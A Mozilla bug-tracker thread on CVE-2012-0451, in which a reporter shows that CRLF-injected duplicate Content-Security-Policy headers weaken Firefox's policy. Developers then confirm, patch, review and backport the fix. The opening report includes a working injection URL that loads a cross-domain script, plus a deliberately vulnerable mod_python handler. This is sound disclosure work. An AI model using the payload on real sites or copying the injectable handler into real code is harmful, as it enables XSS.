717511 - (CVE-2012-0451) Bad intersection of injected HTTP headers leads to Content Security Policy (CSP) Bypass

Status: VERIFIED FIXED

(Core :: DOM: Core & HTML, defect)

Description

[mike]

User Agent: Mozilla/5.0 (Ubuntu; X11; Linux x86_64; rv:9.0.1) Gecko/20100101 Firefox/9.0.1
Build ID: 20111228084940

Steps to reproduce:

When multiple X-Content-Security-Policy are present they have an additive effect on the policy for that page.  This allows an attacker to introduce a new rule using CRLF injection and obtain XSS.  In the following PoC we are introducing the rule set "allow *" and an HTTP body where we are including alert.js from another domain.  

This poc will not work on your machine because http://sitewatch/alert.js is not accessible to you,  this value will have to be changed.

http://localhsot/crlf.py?url=1%0Ax-content-security-policy:%20allow%20*%0Acontent-length:%2049%0A%0A%3Cscript%20src=%27http://sitewatch/alert.js%27%3E%3C/script%3E

Here is a vulnerable web application where alert(1) does not execute do to the CSP.

from mod_python import apache, util

def handler(req):
    input=util.FieldStorage(req, keep_blank_values=1)
    req.headers_out.add('X-Content-Security-Policy', "default-src 'self'")
    req.headers_out.add('some-header', input.getfirst("url"))
    req.content_type = "text/html"
    req.write("<script>alert(1)</script>")    
    return apache.OK


Here is a generic apache config to run the mod_python file above:
 <Directory /var/www/>
       AddHandler python-program .py
       PythonHandler crlf
       PythonDebug On
       Options Indexes FollowSymLinks MultiViews
       AllowOverride All
       Order allow,deny
       allow from all
 </Directory>

Comment 1

[Brandon Sterne (:bsterne)]

(In reply to mike from comment #0)
> User Agent: Mozilla/5.0 (Ubuntu; X11; Linux x86_64; rv:9.0.1) Gecko/20100101
> Firefox/9.0.1
> Build ID: 20111228084940
> 
> Steps to reproduce:
> 
> When multiple X-Content-Security-Policy are present they have an additive
> effect on the policy for that page. 

False.  Additional policy headers are intersected with previous policies.  This has the effect of only permitting additional headers to further restrict the policy.

> This allows an attacker to introduce a
> new rule using CRLF injection and obtain XSS.  In the following PoC we are
> introducing the rule set "allow *" and an HTTP body where we are including
> alert.js from another domain.

Header injection is outside of the threat model for CSP.  However, if you have a testcase that shows that two policy headers are being unioned rather than intersected, that would be a bug.  Do you have such a testcase that is publicly accessible?

(I suspect that your handler above is only outputting a single header when you fetch that page... most web app servers will make such an optimization.)

Comment 2

[mike]

(I suspect that your handler above is only outputting a single header when you
fetch that page... most web app servers will make such an optimization.)

False.  

Here is the full http request produced by the PoC,  and the result is an alert box:
HTTP/1.1 200 OK
Date: Fri, 13 Jan 2012 22:21:57 GMT
Server: Apache/2.2.20 (Ubuntu)
X-Content-Security-Policy: default-src 'self'
some-header: 1
x-content-security-policy: allow *
content-length: 49

<script src='http://sitewatch/alert.js'></script>
Vary: Accept-Encoding
Content-Encoding: gzip
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html

24
)N.,(KI-*0






On Fri, Jan 13, 2012 at 2:39 PM, <[e-mail]> wrote:

    Do not reply to this email. You can add comments to this bug at
    https://bugzilla.mozilla.org/show_bug.cgi?id=717511

    --- Comment #1 from Brandon Sterne (:bsterne) <[e-mail]> 2012-01-13 13:39:49 PST ---
    (In reply to mike from comment #0)
    > User Agent: Mozilla/5.0 (Ubuntu; X11; Linux x86_64; rv:9.0.1) Gecko/20100101
    > Firefox/9.0.1
    > Build ID: 20111228084940
    >
    > Steps to reproduce:
    >
    > When multiple X-Content-Security-Policy are present they have an additive
    > effect on the policy for that page.

    False.  Additional policy headers are intersected with previous policies.  This
    has the effect of only permitting additional headers to further restrict the
    policy.

    > This allows an attacker to introduce a
    > new rule using CRLF injection and obtain XSS.  In the following PoC we are
    > introducing the rule set "allow *" and an HTTP body where we are including
    > alert.js from another domain.

    Header injection is outside of the threat model for CSP.  However, if you have
    a testcase that shows that two policy headers are being unioned rather than
    intersected, that would be a bug.  Do you have such a testcase that is publicly
    accessible?

    (I suspect that your handler above is only outputting a single header when you
    fetch that page... most web app servers will make such an optimization.)

    --
    Configure bugmail: https://bugzilla.mozilla.org/userprefs.cgi?tab=email
    ------- You are receiving this mail because: -------
    You reported the bug.

Comment 3

[Brandon Sterne (:bsterne)]

Confirmed.  I made a testcase which I posted here:
http://hackmill.com/tests/bug717511.php

To test the exact behavior, I had to manually create separate headers using a proxy because the best PHP can do is concatenate header values with a comma, e.g.: 

HTTP/1.1 200 OK
Date: Sat, 14 Jan 2012 00:53:09 GMT
Server: Apache
X-Content-Security-Policy: default-src 'self', allow *

Still, this seems wrong.  Geekboy, do you have time to look at this?  I certainly don't at the moment.

Comment 4

[mike]

Brandon Sterne,

Yeah I tried it with PHP first as well and I had the same problem,  also note that PHP's header() function isn't vulnerable to crlf injection.  Thats why the PoC is in mod_python.

Comment 5

[Brandon Sterne (:bsterne)]

The case where we improperly handle the comma-separated policies is actually because we're failing to parse the comma character as a valid source character:

x-content-security-policy: default-src 'self', allow *

Error: CSP: Couldn't parse invalid source 'self',

So for my testcase, we seem to be applying the policy "default-src allow *", meaning the host "allow", and *.

Comment 6

[Sid Stamm [:geekboy or :sstamm]]

Attachment: xpcshell test (initial)

Wrote a quick xpcshell test to expose the problem.  Rough test file attached.  I'm working on a patch to fix it.

The DEBUG data is kind of misleading; it tacks the comma onto 'self', resulting in a mis-identification of the 'self' keyword.  Funny thing is, this wouldn't be a problem if we parsed the HTTP header as multiple policies.  We need to split the incoming HTTP header on commas before passing them to mCSP.RefinePolicy().. unfortunately this is in C++, so it will take me a while to dig into the string libraries for an appropriate splitting/tokenizing mechanism to use.  

I'll take this bug for now and try and hammer out a fix.

Comment 7

[Sid Stamm [:geekboy or :sstamm]]

On second thought, that xpcshell test won't work.  I want to split the comma-separated header value in nsDocument.cpp, so I'll have to write a mochitest.

Comment 8

[Sid Stamm [:geekboy or :sstamm]]

Attachment: proposed patch

Proposed fix.  Splits HTTP header values on commas, treating each one as a new policy passed in sequentially to mCSP.refinePolicy().  Complete with mochitest!

bsterne... whatcha think?

Comment 9

[Brandon Sterne (:bsterne)]

I read through the patch once and things look good.  Before I do a full review, Sid, can you make sure the patch covers the case where there are two separate headers returned by the server?  I'm fairly sure it will, as I believe necko comma-concatenates identical headers in this way before we ever get to parse the value.

This would be easy to test an verify by adding a separate test in your mochitest (assuming httpd.js allows us to send two headers with the same name).

Comment 10

[Sid Stamm [:geekboy or :sstamm]]

Thanks, Brandon.  

I could write a second, identical test with two separate headers, but not completely sure it would make a huge difference.  (I believe your suspicion is correct, that necko takes care of concatenation).

If you want to test it with two separate headers, you can edit the "file_bug717511.html^headers^" file added by the patch to have those two separate headers instead of a comma, and then re-run the test.  I can do it tomorrow and post the results here when I get access to my build system again, but I am skeptical that doubling the mochitest overhead for this fix is worth it...

Comment 11

[Brandon Sterne (:bsterne)]

Comment on attachment 589344 [details] [diff] [review]
proposed patch

The patch looks good.  The only point I would raise is that this patch doesn't account for our desire to allow regular CSP and report-only CSP simultaneously (it still explicitly allows one or the other).  Perhaps we should merge this with, or otherwise account for the logic being added in bug 552523.  r+

Comment 12

[Sid Stamm [:geekboy or :sstamm]]

Comment on attachment 589344 [details] [diff] [review]
proposed patch

We should update the patch in bug 552523 to work with this change (and not address it in this fix). I think it will be a trivial tweak to the other patch.

Flagging jst for an additional (quick) review since this plays with nsDocument.cpp.  jst, can you give 'er a once-over or recommend another reviewer?

Comment 13

[Sid Stamm [:geekboy or :sstamm]]

(In reply to Brandon Sterne (:bsterne) from comment #9)
> can you make sure the patch covers the case where there are two
> separate headers returned by the server?  I'm fairly sure it will, as I
> believe necko comma-concatenates identical headers in this way before we
> ever get to parse the value.

I attempted this, but it looks like only one header of each name works in the ^headers^ file (the last one to appear is sent with the response), so to verify the test I have to concatenate them with a comma myself.

Brandon, can you update your test at hackmill and I can manually verify the same behavior with two header values?

Comment 14

[Brandon Sterne (:bsterne)]

I can't, unfortunately, as I only have PHP on that server.  I had to manually trap a response in a proxy and inject a second instance of the header into the response.  Sorry.

Comment 15

[Johnny Stenback (:jst)]

Comment on attachment 589344 [details] [diff] [review]
proposed patch

The one thing that sticks out as a possible issue here is how this works if there is whitespace around the ',' separator.

r=jst assuming that works as specified here.

Comment 16

[Sid Stamm [:geekboy or :sstamm]]

I think the tokenizer trims leading/trailing whitespace.  If it doesn't, the CSP parser (CSPUtils.jsm:*.fromString()) trims whitespace as it tokenizes the policy being parsed.  Thanks, jst.

Comment 17

[Sid Stamm [:geekboy or :sstamm]]

I think it makes sense to add a second mochitest to verify behavior with whitespace around the comma.  Lets hold this until I get a chance to append that test and upload a new patch.

Comment 18

[Sid Stamm [:geekboy or :sstamm]]

Attachment: proposed patch (v2 - now with moar tests)

Carrying over r+ from bsterne and jst.  This update to the patch adds a second test that introduces whitespace around the comma.

Comment 19

[Johnny Stenback (:jst)]

https://hg.mozilla.org/integration/mozilla-inbound/rev/f3bcb3c7e5d8

Comment 20

[Johnny Stenback (:jst)]

Fixed.

http://hg.mozilla.org/mozilla-central/rev/f3bcb3c7e5d8

Comment 21

[mike]

Could I get a CVE issued for this. 

An advisory will be made available here:
https://sitewat.ch/en/Advisories/28

Comment 22

[Daniel Veditz [:dveditz]]

use CVE-2012-0451.

The current status of this bug is "will be fixed in Firefox 13, released June 5". I'm sure we can get this fix into Firefox 12 (April) and reasonable sure we can get it into Firefox 11 (mid-March).

I'm not convinced a security impact of "high" is accurate. This is an attack against sites which are already vulnerable for users of browsers that don't support CSP. In addition given the type of flaw exactly what you could bypass would depend on what terms were in your CSP header. If your policy started with an explicit script-src list and followed with something else that would limit what kinds of holes could be poked. IMO "moderate" is more appropriate given the mitigations.

Comment 23

[Daniel Veditz [:dveditz]]

Comment on attachment 589620 [details] [diff] [review]
proposed patch (v2 - now with moar tests)

[Approval Request Comment]
Regression caused by (bug #):
  none
User impact if declined:
  potentially unprotected from XSS on CSP-using sites if the site
  *also* has a header injection vulnerability
Testing completed (on m-c, etc.):
  automated tests checked in with patch
Risk to taking this patch (and alternatives if risky):
  might break some CSP-using site that turned out to have been issuing
  two headers all this time that accidentally "worked" only because of
  this bug
String changes made by this patch:
  none

Comment 24

[mike]

@Daniel Veditz

The CSP was created to prevent Firefox users from vulnerabilities in web applications.  Saying that a vulnerability in the CSP isn't a high priority is message saying that protecting your users from attack isn't a high priority.   We all want a world without XSS (Postcards from a Post-XSS World http://lcamtuf.coredump.cx/postxss/).  Well that world isn't possible with this bug.

Comment 25

[Alex Keybl [:akeybl]]

(In reply to Daniel Veditz from comment #23)
> Risk to taking this patch (and alternatives if risky):
>   might break some CSP-using site that turned out to have been issuing
>   two headers all this time that accidentally "worked" only because of
>   this bug

Are we aware of servers types/versions that may misbehave in this fashion? How regular of an occurrence would this be if a site was affected? I want to make sure we don't break the web.

Comment 26

[Alex Keybl [:akeybl]]

Comment on attachment 589620 [details] [diff] [review]
proposed patch (v2 - now with moar tests)

[Triage Comment]
Dolske informed us during triage that CSP usage is very low in the wild. Given that, there shouldn't be much opportunity for web incompatibilities. Approved for Aurora 12 and Beta 11.

Comment 27

[Alex Keybl [:akeybl]]

This was approved for m-a/m-b. Can we land this ASAP Sid?

Please land on mozilla-esr10 as well. For more information on the landing process, please see https://wiki.mozilla.org/Release_Management/ESR_Landing_Proces

Comment 28

[Johnny Stenback (:jst)]

https://hg.mozilla.org/releases/mozilla-aurora/rev/5b9d4fd12bde
https://hg.mozilla.org/releases/mozilla-beta/rev/8bf839d9f52b

and I have this ready to go for the esr branch too, but the esr tree is closed so I was not able to land it there yet.

Comment 29

[Johnny Stenback (:jst)]

https://hg.mozilla.org/releases/mozilla-esr10/rev/15c3707ee5ae

Comment 30

[u279076]

Is there something QA can do to verify this bug?

Comment 31

[u279076]

It's unclear to me that QA can verify this fix using the test in comment 3 or comment 0. If you are already set up to reproduce the original issue, please verify this is fixed. We need verification in Firefox 11, 12, 13, and 10.0.3esr.

Thanks

Comment 32

[Al Billings [:abillings - ex-MoCo]]

Why were the tests for this security bug already checked in?

Anthony, at this point, you can probably verify it with checked in tests. :-)

Comment 33

[Al Billings [:abillings - ex-MoCo]]

Marking as verified for trunk based on checked in tests passing.

Comment 34

[Sid Stamm [:geekboy or :sstamm]]

(In reply to Al Billings [:abillings] from comment #32)
> Why were the tests for this security bug already checked in?

It was trivial to figure out the flaw from the bits of nsDocument.cpp that were modified by the fix.